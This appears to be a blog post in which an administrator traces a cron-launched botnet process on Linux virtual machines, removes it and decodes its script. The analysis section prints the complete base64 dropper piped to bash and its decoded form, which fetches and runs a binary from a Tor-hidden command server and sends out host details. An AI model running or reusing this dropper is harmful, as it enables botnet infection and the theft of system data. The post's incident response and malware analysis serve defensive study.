How to detect and analyse botnet malware running on Linux

Updated on September 4, 2023

Recently some of the virtual machines used for my developmental activities were attacked! The problem was that there was a process (with random alpha-numeric characters) that fills up the CPU and even if it is killed, it will re-occur after some time πŸ™ Let’s try to detect and analyse botnet malware which targets Linux systems πŸ™‚

How to detect botnet malware running on Linux

First, started off with how to know where a process was started and how?Β With ps command couldn’t find the path of the program running.

# ps -eaf|grep wolOBhT
root        5931     5028  0 Jul27 ?        00:00:00 wolOBhT
Program PATH

if a program was started out of someone’s $PATH, then only executable name would be seen, not the full path.

Another command pstree gives a much clearer indication of how a process was started than ps. The output also didn’t tell me the path of the program!

# pstree -p 5931
wolOBhT(5931)─┬─{wolOBhT}(5932)
              β”œβ”€{wolOBhT}(5933)
              β”œβ”€{wolOBhT}(5934)
              β”œβ”€{wolOBhT}(5935)
              β”œβ”€{wolOBhT}(5937)
              └─{wolOBhT}(5957)

However, another systemctl command helped me. It seems like the malware program was started as systemd service.

# systemctl status 5931
● session-7297.scope - Session 7297 of user root
   Loaded: loaded (/run/systemd/system/session-7297.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-7297.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description. 50-TasksMax.conf
   Active: active (abandoned) since Tue 2023-08-29 11:40:01 IST; 2 days ago
   CGroup: /user.slice/user-0.slice/session-7297.scope
           β”œβ”€ 5931 wolOBhT
           β”œβ”€ 6032 31rRZUq
           └─11662 qH7YOqn
Aug 29 11:40:01 hn2 systemd[1]: Started Session 7297 of user root.
Aug 29 11:40:01 hn2 CROND[11490]: (root) CMD (/opt/systemd-private-eykYlomxCA5FVOwIEViffpeg6nUQsrC3.sh > /dev/null 2>
Aug 29 19:46:18 hn2 crontab[31464]: (root) LIST (root)
Aug 30 04:57:31 hn2 crontab[26927]: (root) LIST (root)

If we analyse the status message, the shell script which runs is silently sitting at /opt/systemd-private-eykYlomxCA5FVOwIEViffpeg6nUQsrC3.sh. Unfortunately, it doesn’t seem to be registered with systemd, so who started it? Ah, it’s CROND!

However, crontab -l command didn’t provide any information. But you can see the script inside the folder /etc/cron.d/

# ls -rlt /etc/cron.d/
total 16
-rw-r--r-- 1 root root 92 Aug 3 2017 0systemd-private-eykYlomxCA5FVOwIEViffpeg6nUQsrC3
-rw-r--r-- 1 root root 108 Jan 7 2022 raid-check
-rw------- 1 root root 235 Dec 15 2022 sysstat
-rw-r--r-- 1 root root 128 May 16 19:58 0hourly

Remove this 0systemd-private-eykYlomxCA5FVOwIEViffpeg6nUQsrC3 file from /etc/cron.d/ directory, remove file /opt/systemd-private-eykYlomxCA5FVOwIEViffpeg6nUQsrC3.sh and kill the three processes(wolOBhT, 31rRZUq, qH7YOqn) using their PIDs.

How to analyse botnet malware running on Linux

After analysing the malware shell script, the attacker has used encoding techniques in protecting the content which is not effective but enough to slow down analysis via complex functions and multiple layers of code – making it difficult to find patterns to decode all layers at once. The malware shell script’s full content appears to be Base64 encoded which is piped to bash. As a result, the shell would interpret the decoded shell script code, which was again encoded in a new layer.

# more systemd-private-eykYlomxCA5FVOwIEViffpeg6nUQsrC3.sh
#!/bin/bash
exec &>/dev/null
echo eykYlomxCA5FVOwIEViffpeg6nUQsrC3
echo ZXlrWWxvbXhDQTVGVk93SUVWaWZmcGVnNm5VUXNyQzMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmlu
Oi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1d
CAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAiamk1NWpqcGxwa25rN2VheXh4dGI1bzN1bHh1ZXZudHV0c2
Rhbm92NWRwM3d5YTdsN2J0anY0cWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQ
gdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5k
bnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtc
XVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC
05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZ
vciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAu
L2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxI
C1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXy
QodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJ
hc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4
OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11b
ml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC
90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWx
zZQpicmVhawpmaQpkb25lCg==|base64 -d|bash

Remove the bash at the end of echo and print the script that has been encoded using base64.

# echo ZXlrWWxvbXhDQTVGVk93SUVWaWZmcGVnNm5VUXNyQzMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAiamk1NWpqcGxwa25rN2VheXh4dGI1bzN1bHh1ZXZudHV0c2Rhbm92NWRwM3d5YTdsN2J0anY0cWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d
eykYlomxCA5FVOwIEViffpeg6nUQsrC3
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "ji55jjplpknk7eayxxtb5o3ulxuevntutsdanov5dp3wya7l7btjv4qd")

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

Firstly, the environment variables required for script execution are set, and some variable values are defined for the purpose of splicing in the code logic.

exec &>/dev/null 
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin 

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) 
c=$(echo "curl -4fsSLkA- -m200") 
t=$(echo "ji55jjplpknk7eayxxtb5o3ulxuevntutsdanov5dp3wya7l7btjv4qd")

Next, the script uses sockz() function to query the IP through DoH (DNS over HTTPS). The advantage of using DoH to query IPs is that it provides encryption to protect the DNS query results, which can bypass Intrusion Detection System (IDS).

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) 
p=$(echo "dns-query?name=relay.tor2socks.in") 
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) 
}

The next piece of code, fexe() looks for a path with read and write permissions among several directory paths like /usr/bin, /var/tmp

fexe() { 
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;
done 
}

Next, the function u(), is the core of the malware. First it generates a random file name, and then accesses the C&C domain through the proxy of relay.tor2socks.in connected to socket5.

What is C&C domain?

A command-and-control [C&C] server is a computer controlled by an attacker or cybercriminal which is used to send commands to systems compromised by malware and receive stolen data from a target network.

In this way, C&C the domain name will not appear directly in the packet header. According to the host hardware name of the device, a malicious file /int.$(uname -m) is downloaded, and then the malicious file is executed and deleted. In this script file, the C&C domain name is:

ji55jjplpknk7eayxxtb5o3ulxuevntutsdanov5dp3wya7l7btjv4qd.onion

u() { 
sockz 
f=/int.$(uname -m) 
x=./$(date|md5sum|cut -f1 -d-) 
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x 
}

Script is executed as crontab scheduled task where the variable r records some basic information of the target host, including IP address, hostname and crontab content. If the execution fails, the above host information will be reported.

r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)

The process execution results are used to make a judgement on the target host.

for h in tor2web.in tor2web.it 
do 
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then 
fexe;u $t.$h 
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) 
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) 
else 
break 
fi 
done

Conclusion

The tor-based botnet malware is persistence, self-protected, and has intranet lateral movement (SSH), targeting Linux systems. The malware samples based on the architecture is downloaded leveraging Tor (The Onion Router) through a network of proxies using the socks5 protocol and then implement measures to remove or deactivate of competing malicious cryptocurrency miners, among other detection- and analysis-evasive features. The malware send identifiable information about the victim system, including:

  • IP Addresses
  • The operating system architecture
  • The username currently running the script
  • A part of uniform resource identifier (URI) identifying the file to be downloaded (architecture dependent)
  • Randomized file
  • The hostname running the script

Be safe and be-vigilant!

Was this article helpful?

Related Articles

Leave a Comment